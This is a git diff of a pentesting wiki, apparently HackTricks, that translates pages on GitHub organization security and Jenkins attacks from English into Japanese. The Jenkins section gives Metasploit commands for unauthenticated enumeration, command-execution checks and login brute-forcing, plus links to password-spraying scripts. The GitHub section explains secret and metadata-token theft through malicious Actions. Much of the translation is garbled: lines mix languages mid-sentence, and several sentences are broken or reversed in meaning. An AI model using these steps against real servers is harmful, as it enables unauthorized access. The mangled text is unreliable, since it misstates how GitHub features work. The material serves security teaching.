+大規模な**企業**の基本的なGithub環境構造は、**エンタープライズ**を所有し、そのエンタープライズが**いくつかの組織**を所有し、それぞれの組織が**いくつかのリポジトリ**と**いくつかのチーム**を含むことです。小規模な企業は、**1つの組織とエンタープライズを持たない**場合もあります。
-From a user point of view a **user** can be a **member** of **different enterprises and organizations**. Within them the user may have **different enterprise, organization and repository roles**.
+ユーザーの観点から見ると、**ユーザー**は**異なるエンタープライズや組織のメンバー**であることができます。それらの中で、ユーザーは**異なるエンタープライズ、組織、リポジトリの役割**を持つことがあります。
-Moreover, a user may be **part of different teams** with different enterprise, organization or repository roles.
+さらに、ユーザーは**異なるチームの一員**であり、異なるエンタープライズ、組織、またはリポジトリの役割を持つことがあります。
-And finally **repositories may have special protection mechanisms**.
+最後に、**リポジトリには特別な保護メカニズム**がある場合があります。
-## Privileges
+## 権限
-### Enterprise Roles
+### エンタープライズの役割
-- **Enterprise owner**: People with this role can **manage administrators, manage organizations within the enterprise, manage enterprise settings, enforce policy across organizations**. However, they **cannot access organization settings or content** unless they are made an organization owner or given direct access to an organization-owned repository
-- **Enterprise members**: Members of organizations owned by your enterprise are also **automatically members of the enterprise**.
+- **エンタープライズオーナー**: この役割を持つ人々は、**管理者を管理し、エンタープライズ内の組織を管理し、エンタープライズ設定を管理し、組織全体にポリシーを強制する**ことができます。ただし、彼らは**組織の設定やコンテンツにアクセスすることはできません**。組織のオーナーに任命されるか、組織所有のリポジトリへの直接アクセスが与えられない限り。
+- **エンタープライズメンバー**: あなたのエンタープライズが所有する組織のメンバーは、**自動的にエンタープライズのメンバー**でもあります。
-### Organization Roles
+### 組織の役割
-In an organisation users can have different roles:
+組織内でユーザーは異なる役割を持つことができます:
-- **Organization owners**: Organization owners have **complete administrative access to your organization**. This role should be limited, but to no less than two people, in your organization.
-- **Organization members**: The **default**, non-administrative role for **people in an organization** is the organization member. By default, organization members **have a number of permissions**.
-- **Billing managers**: Billing managers are users who can **manage the billing settings for your organization**, such as payment information.
-- **Security Managers**: It's a role that organization owners can assign to any team in an organization. When applied, it gives every member of the team permissions to **manage security alerts and settings across your organization, as well as read permissions for all repositories** in the organization.
- - If your organization has a security team, you can use the security manager role to give members of the team the least access they need to the organization.
-- **Github App managers**: To allow additional users to **manage GitHub Apps owned by an organization**, an owner can grant them GitHub App manager permissions.
-- **Outside collaborators**: An outside collaborator is a person who has **access to one or more organization repositories but is not explicitly a member** of the organization.
+- **組織オーナー**: 組織オーナーは、**組織に対する完全な管理アクセス権**を持っています。この役割は制限されるべきですが、組織内で2人以上の人に制限する必要があります。
+- **組織メンバー**: **デフォルト**の非管理者役割は**組織メンバー**です。デフォルトでは、組織メンバーは**いくつかの権限を持っています**。
+- **請求管理者**: 請求管理者は、**組織の請求設定を管理できるユーザー**です。たとえば、支払い情報など。
+- **セキュリティマネージャー**: 組織オーナーが組織内の任意のチームに割り当てることができる役割です。適用されると、チームのすべてのメンバーに**組織全体のセキュリティアラートや設定を管理する権限、ならびに組織内のすべてのリポジトリに対する読み取り権限**が与えられます。
+- 組織にセキュリティチームがある場合、セキュリティマネージャーの役割を使用して、チームのメンバーに組織に必要な最小限のアクセスを与えることができます。
+- **Githubアプリ管理者**: 組織が所有する**GitHubアプリを管理するために追加のユーザーを許可する**ために、オーナーはGitHubアプリ管理者の権限を付与できます。
+- **外部コラボレーター**: 外部コラボレーターは、**1つ以上の組織リポジトリにアクセスできるが、明示的に組織のメンバーではない**人です。
-You can **compare the permissions** of these roles in this table: [https://docs.github.com/en/organizations/managing-peoples-access-to-your-organization-with-roles/roles-in-an-organization#permissions-for-organization-roles](https://docs.github.com/en/organizations/managing-peoples-access-to-your-organization-with-roles/roles-in-an-organization#permissions-for-organization-roles)
+これらの役割の**権限を比較する**ことができる表があります: [https://docs.github.com/en/organizations/managing-peoples-access-to-your-organization-with-roles/roles-in-an-organization#permissions-for-organization-roles](https://docs.github.com/en/organizations/managing-peoples-access-to-your-organization-with-roles/roles-in-an-organization#permissions-for-organization-roles)
-### Members Privileges
+### メンバーの権限
-In _https://github.com/organizations/\/settings/member_privileges_ you can see the **permissions users will have just for being part of the organisation**.
+_https://github.com/organizations/\/settings/member_privileges_ では、**組織の一部であることによってユーザーが持つ権限**を見ることができます。
-The settings here configured will indicate the following permissions of members of the organisation:
+ここで設定された内容は、組織のメンバーの以下の権限を示します:
-- Be admin, writer, reader or no permission over all the organisation repos.
-- If members can create private, internal or public repositories.
-- If forking of repositories is possible
-- If it's possible to invite outside collaborators
-- If public or private sites can be published
-- The permissions admins has over the repositories
-- If members can create new teams
+- 組織のすべてのリポジトリに対する管理者、ライター、リーダー、または無権限であること。
+- メンバーがプライベート、内部、またはパブリックリポジトリを作成できるかどうか。
+- リポジトリのフォークが可能かどうか。
+- 外部コラボレーターを招待できるかどうか。
+- 公開またはプライベートサイトを公開できるかどうか。
+- 管理者がリポジトリに対して持つ権限。
+- メンバーが新しいチームを作成できるかどうか。
-### Repository Roles
+### リポジトリの役割
-By default repository roles are created:
+デフォルトでは、リポジトリの役割が作成されます:
-- **Read**: Recommended for **non-code contributors** who want to view or discuss your project
-- **Triage**: Recommended for **contributors who need to proactively manage issues and pull requests** without write access
-- **Write**: Recommended for contributors who **actively push to your project**
-- **Maintain**: Recommended for **project managers who need to manage the repository** without access to sensitive or destructive actions
-- **Admin**: Recommended for people who need **full access to the project**, including sensitive and destructive actions like managing security or deleting a repository
+- **読み取り**: **コードに貢献しない**人々がプロジェクトを表示または議論するために推奨されます。
+- **トリアージ**: **問題やプルリクエストを積極的に管理する必要がある貢献者**に推奨されますが、書き込みアクセスはありません。
+- **書き込み**: プロジェクトに**積極的にプッシュする**貢献者に推奨されます。
+- **メンテナンス**: **リポジトリを管理する必要があるプロジェクトマネージャー**に推奨されますが、機密または破壊的なアクションへのアクセスはありません。
+- **管理者**: **プロジェクトに完全にアクセスする必要がある**人々に推奨されます。これには、セキュリティの管理やリポジトリの削除などの機密かつ破壊的なアクションが含まれます。
-You can **compare the permissions** of each role in this table [https://docs.github.com/en/organizations/managing-access-to-your-organizations-repositories/repository-roles-for-an-organization#permissions-for-each-role](https://docs.github.com/en/organizations/managing-access-to-your-organizations-repositories/repository-roles-for-an-organization#permissions-for-each-role)
+各役割の**権限を比較する**ことができる表があります: [https://docs.github.com/en/organizations/managing-access-to-your-organizations-repositories/repository-roles-for-an-organization#permissions-for-each-role](https://docs.github.com/en/organizations/managing-access-to-your-organizations-repositories/repository-roles-for-an-organization#permissions-for-each-role)
-You can also **create your own roles** in _https://github.com/organizations/\/settings/roles_
+また、_https://github.com/organizations/\/settings/roles_ で**独自の役割を作成する**こともできます。
-### Teams
+### チーム
-You can **list the teams created in an organization** in _https://github.com/orgs/\/teams_. Note that to see the teams which are children of other teams you need to access each parent team.
+_https://github.com/orgs/\/teams_ で、**組織内に作成されたチームのリストを表示する**ことができます。他のチームの子チームを見るには、各親チームにアクセスする必要があります。
-### Users
+### ユーザー
-The users of an organization can be **listed** in _https://github.com/orgs/\/people._
+組織のユーザーは、_https://github.com/orgs/\/people_ で**リスト表示**できます。
-In the information of each user you can see the **teams the user is member of**, and the **repos the user has access to**.
+各ユーザーの情報では、**ユーザーが所属するチーム**や、**ユーザーがアクセスできるリポジトリ**を見ることができます。
-## Github Authentication
+## Github認証
-Github offers different ways to authenticate to your account and perform actions on your behalf.
+Githubは、アカウントに認証し、あなたの代わりにアクションを実行するためのさまざまな方法を提供しています。
-### Web Access
+### ウェブアクセス
-Accessing **github.com** you can login using your **username and password** (and a **2FA potentially**).
+**github.com**にアクセスすると、**ユーザー名とパスワード**(および**2FAの可能性**)を使用してログインできます。
-### **SSH Keys**
+### **SSHキー**
-You can configure your account with one or several public keys allowing the related **private key to perform actions on your behalf.** [https://github.com/settings/keys](https://github.com/settings/keys)
+関連する**プライベートキーがあなたの代わりにアクションを実行できるように、1つまたは複数の公開鍵でアカウントを構成できます。** [https://github.com/settings/keys](https://github.com/settings/keys)
-#### **GPG Keys**
+#### **GPGキー**
-You **cannot impersonate the user with these keys** but if you don't use it it might be possible that you **get discover for sending commits without a signature**. Learn more about [vigilant mode here](https://docs.github.com/en/authentication/managing-commit-signature-verification/displaying-verification-statuses-for-all-of-your-commits#about-vigilant-mode).
+これらのキーでユーザーを偽装することは**できません**が、使用しない場合、**署名なしでコミットを送信することで発見される可能性があります**。 [vigilant mode here](https://docs.github.com/en/authentication/managing-commit-signature-verification/displaying-verification-statuses-for-all-of-your-commits#about-vigilant-mode) で詳細を学んでください。
-### **Personal Access Tokens**
+### **個人アクセストークン**
-You can generate personal access token to **give an application access to your account**. When creating a personal access token the **user** needs to **specify** the **permissions** to **token** will have. [https://github.com/settings/tokens](https://github.com/settings/tokens)
+アプリケーションに**アカウントへのアクセスを与える**ために、個人アクセストークンを生成できます。個人アクセストークンを作成する際、**ユーザー**は**トークン**が持つ**権限**を**指定する**必要があります。 [https://github.com/settings/tokens](https://github.com/settings/tokens)
-### Oauth Applications
+### Oauthアプリケーション
-Oauth applications may ask you for permissions **to access part of your github information or to impersonate you** to perform some actions. A common example of this functionality is the **login with github button** you might find in some platforms.
+Oauthアプリケーションは、**あなたのGithub情報の一部にアクセスするための権限を要求したり、あなたを偽装していくつかのアクションを実行したりする**ことがあります。この機能の一般的な例は、いくつかのプラットフォームで見られる**Githubでログインボタン**です。
-- You can **create** your own **Oauth applications** in [https://github.com/settings/developers](https://github.com/settings/developers)
-- You can see all the **Oauth applications that has access to your account** in [https://github.com/settings/applications](https://github.com/settings/applications)
-- You can see the **scopes that Oauth Apps can ask for** in [https://docs.github.com/en/developers/apps/building-oauth-apps/scopes-for-oauth-apps](https://docs.github.com/en/developers/apps/building-oauth-apps/scopes-for-oauth-apps)
-- You can see third party access of applications in an **organization** in _https://github.com/organizations/\/settings/oauth_application_policy_
+- 自分の**Oauthアプリケーション**を[https://github.com/settings/developers](https://github.com/settings/developers)で**作成**できます。
+- あなたのアカウントにアクセスできるすべての**Oauthアプリケーション**を[https://github.com/settings/applications](https://github.com/settings/applications)で見ることができます。
+- Oauthアプリが要求できる**スコープ**を[https://docs.github.com/en/developers/apps/building-oauth-apps/scopes-for-oauth-apps](https://docs.github.com/en/developers/apps/building-oauth-apps/scopes-for-oauth-apps)で見ることができます。
+- 組織内のアプリケーションの**サードパーティアクセス**を_https://github.com/organizations/\/settings/oauth_application_policy_ で見ることができます。
-Some **security recommendations**:
+いくつかの**セキュリティ推奨事項**:
-- An **OAuth App** should always **act as the authenticated GitHub user across all of GitHub** (for example, when providing user notifications) and with access only to the specified scopes..
-- An OAuth App can be used as an identity provider by enabling a "Login with GitHub" for the authenticated user.
-- **Don't** build an **OAuth App** if you want your application to act on a **single repository**. With the `repo` OAuth scope, OAuth Apps can **act on \_all**\_\*\* of the authenticated user's repositorie\*\*s.
-- **Don't** build an OAuth App to act as an application for your **team or company**. OAuth Apps authenticate as a **single user**, so if one person creates an OAuth App for a company to use, and then they leave the company, no one else will have access to it.
-- **More** in [here](https://docs.github.com/en/developers/apps/getting-started-with-apps/about-apps#about-oauth-apps).
+- **OAuthアプリ**は常に**GitHub全体で認証されたGitHubユーザーとして行動する**べきです(たとえば、ユーザー通知を提供する場合)し、指定されたスコープのみにアクセスします。
+- OAuthアプリは、認証されたユーザーのために「GitHubでログイン」を有効にすることで、アイデンティティプロバイダーとして使用できます。
+- **単一のリポジトリ**でアクションを実行するアプリケーションを作成しないでください。`repo` OAuthスコープを使用すると、OAuthアプリは**認証されたユーザーのすべてのリポジトリに対してアクションを実行できます**。
+- **チームや会社**のアプリケーションとして機能するためにOAuthアプリを作成しないでください。OAuthアプリは**単一のユーザー**として認証されるため、1人が会社用にOAuthアプリを作成し、その後会社を離れると、他の誰もそれにアクセスできなくなります。
+- **詳細は**[こちら](https://docs.github.com/en/developers/apps/getting-started-with-apps/about-apps#about-oauth-apps)で。
-### Github Applications
+### Githubアプリケーション
-Github applications can ask for permissions to **access your github information or impersonate you** to perform specific actions over specific resources. In Github Apps you need to specify the repositories the app will have access to.
+Githubアプリケーションは、**あなたのGithub情報にアクセスしたり、あなたを偽装して特定のリソースに対して特定のアクションを実行したりするための権限を要求する**ことがあります。Githubアプリでは、アプリがアクセスできるリポジトリを指定する必要があります。
-- To install a GitHub App, you must be an **organisation owner or have admin permissions** in a repository.
-- The GitHub App should **connect to a personal account or an organisation**.
-- You can create your own Github application in [https://github.com/settings/apps](https://github.com/settings/apps)
-- You can see all the **Github applications that has access to your account** in [https://github.com/settings/apps/authorizations](https://github.com/settings/apps/authorizations)
-- These are the **API Endpoints for Github Applications** [https://docs.github.com/en/rest/overview/endpoints-available-for-github-app](https://docs.github.com/en/rest/overview/endpoints-available-for-github-apps). Depending on the permissions of the App it will be able to access some of them
-- You can see installed apps in an **organization** in _https://github.com/organizations/\/settings/installations_
+- GitHubアプリをインストールするには、**組織のオーナーまたはリポジトリの管理者権限**を持っている必要があります。
+- GitHubアプリは**個人アカウントまたは組織に接続する**必要があります。
+- 自分のGithubアプリケーションを[https://github.com/settings/apps](https://github.com/settings/apps)で作成できます。
+- あなたのアカウントにアクセスできるすべての**Githubアプリケーション**を[https://github.com/settings/apps/authorizations](https://github.com/settings/apps/authorizations)で見ることができます。
+- これらは**GithubアプリケーションのAPIエンドポイント**です: [https://docs.github.com/en/rest/overview/endpoints-available-for-github-app](https://docs.github.com/en/rest/overview/endpoints-available-for-github-apps)。アプリの権限に応じて、いくつかのエンドポイントにアクセスできるようになります。
+- 組織内のインストールされたアプリを_https://github.com/organizations/\/settings/installations_ で見ることができます。
-Some security recommendations:
+いくつかのセキュリティ推奨事項:
-- A GitHub App should **take actions independent of a user** (unless the app is using a [user-to-server](https://docs.github.com/en/apps/building-github-apps/identifying-and-authorizing-users-for-github-apps#user-to-server-requests) token). To keep user-to-server access tokens more secure, you can use access tokens that will expire after 8 hours, and a refresh token that can be exchanged for a new access token. For more information, see "[Refreshing user-to-server access tokens](https://docs.github.com/en/apps/building-github-apps/refreshing-user-to-server-access-tokens)."
-- Make sure the GitHub App integrates with **specific repositories**.
-- The GitHub App should **connect to a personal account or an organisation**.
-- Don't expect the GitHub App to know and do everything a user can.
-- **Don't use a GitHub App if you just need a "Login with GitHub" service**. But a GitHub App can use a [user identification flow](https://docs.github.com/en/apps/building-github-apps/identifying-and-authorizing-users-for-github-apps) to log users in _and_ do other things.
-- Don't build a GitHub App if you _only_ want to act as a GitHub user and do everything that user can do.
-- If you are using your app with GitHub Actions and want to modify workflow files, you must authenticate on behalf of the user with an OAuth token that includes the `workflow` scope. The user must have admin or write permission to the repository that contains the workflow file. For more information, see "[Understanding scopes for OAuth apps](https://docs.github.com/en/apps/building-oauth-apps/understanding-scopes-for-oauth-apps/#available-scopes)."
-- **More** in [here](https://docs.github.com/en/developers/apps/getting-started-with-apps/about-apps#about-github-apps).
+- GitHubアプリは**ユーザーとは独立してアクションを実行する**べきです(アプリが[ユーザーからサーバーへの](https://docs.github.com/en/apps/building-github-apps/identifying-and-authorizing-users-for-github-apps#user-to-server-requests)トークンを使用している場合を除く)。ユーザーからサーバーへのアクセスをより安全に保つために、8時間後に期限切れになるアクセストークンと、新しいアクセストークンと交換できるリフレッシュトークンを使用できます。詳細については、「[ユーザーからサーバーへのアクセストークンのリフレッシュ](https://docs.github.com/en/apps/building-github-apps/refreshing-user-to-server-access-tokens)」を参照してください。
+- GitHubアプリが**特定のリポジトリ**と統合されていることを確認してください。
+- GitHubアプリは**個人アカウントまたは組織に接続する**必要があります。
+- GitHubアプリがユーザーができるすべてのことを知って行うことを期待しないでください。
+- **「GitHubでログイン」サービスが必要なだけの場合は、GitHubアプリを使用しないでください**。ただし、GitHubアプリは、ユーザーをログインさせるために[user identification flow](https://docs.github.com/en/apps/building-github-apps/identifying-and-authorizing-users-for-github-apps)を使用して、ユーザーをログインさせることができます_そして_他のことを行うことができます。
+- GitHubユーザーとしてのみ機能し、そのユーザーができるすべてのことを行いたい場合は、GitHubアプリを作成しないでください。
+- GitHub Actionsを使用してアプリを使用し、ワークフローファイルを変更したい場合は、`workflow`スコープを含むOAuthトークンを使用してユーザーの代わりに認証する必要があります。ユーザーは、ワークフローファイルを含むリポジトリに対して管理者または書き込み権限を持っている必要があります。詳細については、「[OAuthアプリのスコープの理解](https://docs.github.com/en/apps/building-oauth-apps/understanding-scopes-for-oauth-apps/#available-scopes)」を参照してください。
+- **詳細は**[こちら](https://docs.github.com/en/developers/apps/getting-started-with-apps/about-apps#about-github-apps)で。
### Github Actions
-This **isn't a way to authenticate in github**, but a **malicious** Github Action could get **unauthorised access to github** and **depending** on the **privileges** given to the Action several **different attacks** could be done. See below for more information.
+これは**Githubで認証する方法**ではありませんが、**悪意のある**Github Actionが**Githubに不正アクセスする**可能性があり、**与えられた権限**に応じて、いくつかの**異なる攻撃**が行われる可能性があります。詳細については以下を参照してください。
-## Git Actions
+## Gitアクション
-Git actions allows to automate the **execution of code when an event happen**. Usually the code executed is **somehow related to the code of the repository** (maybe build a docker container or check that the PR doesn't contain secrets).
+Gitアクションは、**イベントが発生したときにコードの実行を自動化する**ことを可能にします。通常、実行されるコードは**リポジトリのコードに関連している**(たとえば、Dockerコンテナをビルドするか、PRに秘密が含まれていないかを確認するなど)。
-### Configuration
+### 設定
-In _https://github.com/organizations/\/settings/actions_ it's possible to check the **configuration of the github actions** for the organization.
+_https://github.com/organizations/\/settings/actions_ で、組織の**Githubアクションの設定**を確認できます。
-It's possible to disallow the use of github actions completely, **allow all github actions**, or just allow certain actions.
+Githubアクションの使用を完全に禁止することも、**すべてのGithubアクションを許可する**ことも、特定のアクションのみを許可することも可能です。
-It's also possible to configure **who needs approval to run a Github Action** and the **permissions of the GITHUB_TOKEN** of a Github Action when it's run.
+また、**Github Actionを実行するために承認が必要な人**や、Github Actionが実行されるときの**GITHUB_TOKENの権限**を設定することもできます。
### Git Secrets
-Github Action usually need some kind of secrets to interact with github or third party applications. To **avoid putting them in clear-text** in the repo, github allow to put them as **Secrets**.
-
-These secrets can be configured **for the repo or for all the organization**. Then, in order for the **Action to be able to access the secret** you need to declare it like:
+Github Actionは通常、Githubやサードパーティアプリケーションと対話するために何らかの秘密を必要とします。リポジトリに**平文で置かないようにするために**、Githubはそれらを**Secrets**として配置することを許可しています。
+これらの秘密は、**リポジトリまたは組織全体のために設定**できます。その後、**Actionが秘密にアクセスできるようにするためには**、次のように宣言する必要があります:
```yaml
steps:
- - name: Hello world action
- with: # Set the secret as an input
- super_secret:${{ secrets.SuperSecret }}
- env: # Or as an environment variable
- super_secret:${{ secrets.SuperSecret }}
+- name: Hello world action
+with: # Set the secret as an input
+super_secret:${{ secrets.SuperSecret }}
+env: # Or as an environment variable
+super_secret:${{ secrets.SuperSecret }}
```
-
-#### Example using Bash
-
+#### Bashを使用した例
```yaml
steps:
- - shell: bash
- env: SUPER_SECRET:${{ secrets.SuperSecret }}
- run: |
- example-command "$SUPER_SECRET"
+- shell: bash
+env: SUPER_SECRET:${{ secrets.SuperSecret }}
+run: |
+example-command "$SUPER_SECRET"
```
-
> [!WARNING]
-> Secrets **can only be accessed from the Github Actions** that have them declared.
+> Secrets **は、それらが宣言されている Github Actions からのみアクセス可能です**。
-> Once configured in the repo or the organizations **users of github won't be able to access them again**, they just will be able to **change them**.
+> リポジトリまたは組織に設定されると、**github のユーザーは再度アクセスできなくなります**。彼らはただ **変更することができます**。
-Therefore, the **only way to steal github secrets is to be able to access the machine that is executing the Github Action** (in that scenario you will be able to access only the secrets declared for the Action).
+したがって、**github secrets を盗む唯一の方法は、Github Action を実行しているマシンにアクセスできることです**(そのシナリオでは、Action のために宣言された秘密にのみアクセスできます)。
### Git Environments
-Github allows to create **environments** where you can save **secrets**. Then, you can give the github action access to the secrets inside the environment with something like:
-
+Github は **環境** を作成することを許可しており、そこで **secrets** を保存できます。次に、環境内の秘密に対するアクセスを github action に与えることができます。
```yaml
jobs:
- deployment:
- runs-on: ubuntu-latest
- environment: env_name
+deployment:
+runs-on: ubuntu-latest
+environment: env_name
```
-
-You can configure an environment to be **accessed** by **all branches** (default), **only protected** branches or **specify** which branches can access it.\
-It can also set a **number of required reviews** before **executing** an **action** using an **environment** or **wait** some **time** before allowing deployments to proceed.
+You can configure an environment to be **アクセス** by **すべてのブランチ** (default), **保護された** branches only or **指定** which branches can access it.\
+It can also set a **必要なレビューの数** before **アクションを実行** using an **環境** or **待機** some **時間** before allowing deployments to proceed.
### Git Action Runner
-A Github Action can be **executed inside the github environment** or can be executed in a **third party infrastructure** configured by the user.
+A Github Action can be **実行される inside the github environment** or can be executed in a **サードパーティのインフラ** configured by the user.
-Several organizations will allow to run Github Actions in a **third party infrastructure** as it use to be **cheaper**.
+Several organizations will allow to run Github Actions in a **サードパーティのインフラ** as it use to be **安価**.
-You can **list the self-hosted runners** of an organization in _https://github.com/organizations/\/settings/actions/runners_
+You can **リスト the self-hosted runners** of an organization in _https://github.com/organizations/\/settings/actions/runners_
The way to find which **Github Actions are being executed in non-github infrastructure** is to search for `runs-on: self-hosted` in the Github Action configuration yaml.
-It's **not possible to run a Github Action of an organization inside a self hosted box** of a different organization because **a unique token is generated for the Runner** when configuring it to know where the runner belongs.
+It's **異なる組織の self hosted box** inside a **Github Action of an organization** because **Runnerのために一意のトークンが生成される** when configuring it to know where the runner belongs.
-If the custom **Github Runner is configured in a machine inside AWS or GCP** for example, the Action **could have access to the metadata endpoint** and **steal the token of the service account** the machine is running with.
+If the custom **Github Runner is configured in a machine inside AWS or GCP** for example, the Action **メタデータエンドポイントにアクセスできる** and **サービスアカウントのトークンを盗む** the machine is running with.
### Git Action Compromise
-If all actions (or a malicious action) are allowed a user could use a **Github action** that is **malicious** and will **compromise** the **container** where it's being executed.
+If all actions (or a malicious action) are allowed a user could use a **Github action** that is **悪意のある** and will **侵害する** the **コンテナ** where it's being executed.
> [!CAUTION]
-> A **malicious Github Action** run could be **abused** by the attacker to:
+> A **悪意のあるGithub Action** run could be **悪用される** by the attacker to:
>
-> - **Steal all the secrets** the Action has access to
-> - **Move laterally** if the Action is executed inside a **third party infrastructure** where the SA token used to run the machine can be accessed (probably via the metadata service)
-> - **Abuse the token** used by the **workflow** to **steal the code of the repo** where the Action is executed or **even modify it**.
+> - **すべてのシークレットを盗む** the Action has access to
+> - **横移動する** if the Action is executed inside a **サードパーティのインフラ** where the SA token used to run the machine can be accessed (probably via the metadata service)
+> - **トークンを悪用する** used by the **ワークフロー** to **リポジトリのコードを盗む** where the Action is executed or **さらには変更する**.
## Branch Protections
-Branch protections are designed to **not give complete control of a repository** to the users. The goal is to **put several protection methods before being able to write code inside some branch**.
+Branch protections are designed to **リポジトリの完全な制御をユーザーに与えない**. The goal is to **いくつかの保護方法を設ける** before being able to write code inside some branch.
-The **branch protections of a repository** can be found in _https://github.com/\/\/settings/branches_
+The **リポジトリのブランチ保護** can be found in _https://github.com/\/\/settings/branches_
> [!NOTE]
-> It's **not possible to set a branch protection at organization level**. So all of them must be declared on each repo.
+> It's **組織レベルでブランチ保護を設定することはできない**. So all of them must be declared on each repo.
Different protections can be applied to a branch (like to master):
-- You can **require a PR before merging** (so you cannot directly merge code over the branch). If this is select different other protections can be in place:
- - **Require a number of approvals**. It's very common to require 1 or 2 more people to approve your PR so a single user isn't capable of merge code directly.
- - **Dismiss approvals when new commits are pushed**. If not, a user may approve legit code and then the user could add malicious code and merge it.
- - **Require reviews from Code Owners**. At least 1 code owner of the repo needs to approve the PR (so "random" users cannot approve it)
- - **Restrict who can dismiss pull request reviews.** You can specify people or teams allowed to dismiss pull request reviews.
- - **Allow specified actors to bypass pull request requirements**. These users will be able to bypass previous restrictions.
-- **Require status checks to pass before merging.** Some checks needs to pass before being able to merge the commit (like a github action checking there isn't any cleartext secret).
-- **Require conversation resolution before merging**. All comments on the code needs to be resolved before the PR can be merged.
-- **Require signed commits**. The commits need to be signed.
-- **Require linear history.** Prevent merge commits from being pushed to matching branches.
-- **Include administrators**. If this isn't set, admins can bypass the restrictions.
-- **Restrict who can push to matching branches**. Restrict who can send a PR.
+- You can **マージ前にPRを要求する** (so you cannot directly merge code over the branch). If this is select different other protections can be in place:
+- **承認の数を要求する**. It's very common to require 1 or 2 more people to approve your PR so a single user isn't capable of merge code directly.
+- **新しいコミットがプッシュされたときに承認を無効にする**. If not, a user may approve legit code and then the user could add malicious code and merge it.
+- **コードオーナーからのレビューを要求する**. At least 1 code owner of the repo needs to approve the PR (so "random" users cannot approve it)
+- **プルリクエストレビューを無効にできる人を制限する**. You can specify people or teams allowed to dismiss pull request reviews.
+- **指定されたアクターがプルリクエスト要件をバイパスできるようにする**. These users will be able to bypass previous restrictions.
+- **マージ前にステータスチェックが通過することを要求する**. Some checks needs to pass before being able to merge the commit (like a github action checking there isn't any cleartext secret).
+- **マージ前に会話の解決を要求する**. All comments on the code needs to be resolved before the PR can be merged.
+- **署名されたコミットを要求する**. The commits need to be signed.
+- **線形履歴を要求する**. Prevent merge commits from being pushed to matching branches.
+- **管理者を含める**. If this isn't set, admins can bypass the restrictions.
+- **一致するブランチにプッシュできる人を制限する**. Restrict who can send a PR.
> [!NOTE]
-> As you can see, even if you managed to obtain some credentials of a user, **repos might be protected avoiding you to pushing code to master** for example to compromise the CI/CD pipeline.
+> As you can see, even if you managed to obtain some credentials of a user, **リポジトリは保護されているため、例えばmasterにコードをプッシュすることを避けることができる**.
## References
@@ -253,7 +247,3 @@ Different protections can be applied to a branch (like to master):
- [https://docs.github.com/en/actions/security-guides/encrypted-secrets](https://docs.github.com/en/actions/security-guides/encrypted-secrets)
{{#include ../../banners/hacktricks-training.md}}
-
-
-
-
diff --git a/src/pentesting-ci-cd/jenkins-security/README.md b/src/pentesting-ci-cd/jenkins-security/README.md
index 4dfba3ff3..f0cdc7a56 100644
--- a/src/pentesting-ci-cd/jenkins-security/README.md
+++ b/src/pentesting-ci-cd/jenkins-security/README.md
@@ -2,311 +2,291 @@
{{#include ../../banners/hacktricks-training.md}}
-## Basic Information
+## 基本情報
-Jenkins is a tool that offers a straightforward method for establishing a **continuous integration** or **continuous delivery** (CI/CD) environment for almost **any** combination of **programming languages** and source code repositories using pipelines. Furthermore, it automates various routine development tasks. While Jenkins doesn't eliminate the **need to create scripts for individual steps**, it does provide a faster and more robust way to integrate the entire sequence of build, test, and deployment tools than one can easily construct manually.
+Jenkinsは、パイプラインを使用して、ほぼ**すべての**プログラミング言語とソースコードリポジトリの**継続的インテグレーション**または**継続的デリバリー**(CI/CD)環境を確立するための簡単な方法を提供するツールです。さらに、さまざまなルーチン開発タスクを自動化します。Jenkinsは**個々のステップのためのスクリプトを作成する必要性を排除するわけではありませんが**、手動で簡単に構築できるよりも、ビルド、テスト、デプロイメントツールの全シーケンスを統合するためのより迅速で堅牢な方法を提供します。
{{#ref}}
basic-jenkins-information.md
{{#endref}}
-## Unauthenticated Enumeration
-
-In order to search for interesting Jenkins pages without authentication like (_/people_ or _/asynchPeople_, this lists the current users) you can use:
+## 認証されていない列挙
+興味深いJenkinsページを認証なしで検索するために(_ /people_や_ /asynchPeople_のように、これにより現在のユーザーがリストされます)、次のように使用できます:
```
msf> use auxiliary/scanner/http/jenkins_enum
```
-
-Check if you can execute commands without needing authentication:
-
+認証なしでコマンドを実行できるか確認してください:
```
msf> use auxiliary/scanner/http/jenkins_command
```
+認証情報がない場合、_**/asynchPeople/**_ パスや _**/securityRealm/user/admin/search/index?q=**_ で **ユーザー名** を確認できます。
-Without credentials you can look inside _**/asynchPeople/**_ path or _**/securityRealm/user/admin/search/index?q=**_ for **usernames**.
-
-You may be able to get the Jenkins version from the path _**/oops**_ or _**/error**_
+_**/oops**_ または _**/error**_ パスから Jenkins バージョンを取得できるかもしれません。
.png>)
-### Known Vulnerabilities
+### 既知の脆弱性
{{#ref}}
https://github.com/gquere/pwn_jenkins
{{#endref}}
-## Login
+## ログイン
-In the basic information you can check **all the ways to login inside Jenkins**:
+基本情報では、**Jenkins 内にログインするためのすべての方法**を確認できます:
{{#ref}}
basic-jenkins-information.md
{{#endref}}
-### Register
+### 登録
-You will be able to find Jenkins instances that **allow you to create an account and login inside of it. As simple as that.**
+アカウントを作成してログインできる Jenkins インスタンスを見つけることができます。とても簡単です。
-### **SSO Login**
+### **SSO ログイン**
-Also if **SSO** **functionality**/**plugins** were present then you should attempt to **log-in** to the application using a test account (i.e., a test **Github/Bitbucket account**). Trick from [**here**](https://emtunc.org/blog/01/2018/research-misconfigured-jenkins-servers/).
+また、**SSO** **機能**/**プラグイン** が存在する場合は、テストアカウント(例:テスト **Github/Bitbucket アカウント**)を使用してアプリケーションに**ログイン**を試みるべきです。[**こちら**](https://emtunc.org/blog/01/2018/research-misconfigured-jenkins-servers/)のトリックを参照してください。
-### Bruteforce
-
-**Jenkins** lacks **password policy** and **username brute-force mitigation**. It's essential to **brute-force** users since **weak passwords** or **usernames as passwords** may be in use, even **reversed usernames as passwords**.
+### ブルートフォース
+**Jenkins** は **パスワードポリシー** と **ユーザー名のブルートフォース緩和** が欠けています。**弱いパスワード** や **ユーザー名をパスワードとして使用する** 可能性があるため、ユーザーを **ブルートフォース** することが重要です。さらに、**逆のユーザー名をパスワードとして使用する** ケースもあります。
```
msf> use auxiliary/scanner/http/jenkins_login
```
+### パスワードスプレー
-### Password spraying
+[このPythonスクリプト](https://github.com/gquere/pwn_jenkins/blob/master/password_spraying/jenkins_password_spraying.py)または[このPowerShellスクリプト](https://github.com/chryzsh/JenkinsPasswordSpray)を使用してください。
-Use [this python script](https://github.com/gquere/pwn_jenkins/blob/master/password_spraying/jenkins_password_spraying.py) or [this powershell script](https://github.com/chryzsh/JenkinsPasswordSpray).
+### IPホワイトリストバイパス
-### IP Whitelisting Bypass
